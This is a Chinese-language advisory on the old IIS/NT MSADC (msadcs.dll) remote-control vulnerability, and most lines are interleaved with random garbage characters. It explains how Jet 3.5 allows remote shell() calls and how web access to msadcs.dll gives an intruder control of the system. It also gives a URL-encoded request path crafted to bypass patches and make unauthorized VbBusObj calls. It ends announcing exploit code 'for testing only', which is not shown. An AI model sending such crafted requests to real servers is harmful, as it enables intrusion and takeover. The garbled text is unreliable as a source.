IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
@eD~FNf-] .dq.F#2B; 涉及程序:
xVmUmftD Microsoft NT server
u*YuU%H= L bK1CGyA 描述:
K
{N;k- 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
hQRc,d6x5 tYxlM! 详细:
qb/!;U_ 如果你没有时间读详细内容的话,就删除:
Y&:\s8C c:\Program Files\Common Files\System\Msadc\msadcs.dll
}jy7,+ 有关的安全问题就没有了。
Iw-6Z+ 94 %4g4 C# 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
4xC6#:8 !P3tTL!*L 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
9"v ox 关于利用ODBC远程漏洞的描述,请参看:
^K@GK ?Pf
,5=*B http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm |HIA[.q <@2?2l+`X 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
|@4hz9~3 http://www.microsoft.com/security/bulletins/MS99-025faq.asp Y- 9j2.{ &b:Zln.j 这里不再论述。
#B{F{,vlu, @!tmUme1c 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
2FtEt+A+' +\@\,{Ujy /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
:=KGQ3V~eK 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
